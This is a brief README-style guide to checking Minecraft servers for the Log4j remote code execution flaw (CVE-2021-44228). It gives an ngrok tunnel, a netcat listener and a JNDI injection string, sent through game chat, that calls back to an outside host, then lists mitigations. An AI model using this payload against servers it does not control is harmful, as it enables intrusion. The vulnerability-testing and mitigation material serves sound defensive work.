FOR TEST SERVER MINECRAFT RCE(CVE-2021-44228)

FIRST STEP CHECK VUL

1. Use ngrok to Forwarding
   ./ngrok tcp 4444
   

2. Use netcat to Listening
   nc -lnvp 4444
   you'll get like this

3. after that call Log4j in chat minecraft
   ${jndi:ldap://2.tcp.ngrok.io:13517/a}

WOW

HOW TO MITIGATE CVE-2021-44228

To mitigate the following options are available (see the advisory from Apache here):

1. Upgrade to Log4j v2.15.0

2. If you are using Log4j v2.10 or above, and cannot upgrade, then set the property:

log4j2.formatMsgNoLookups=true

Additionally, an environment variable can be set for these same affected versions:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3. Or remove the JndiLookup class from the classpath. For example, you can run a command like

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

HOW TO EXPLOIT BY SHELLCODE

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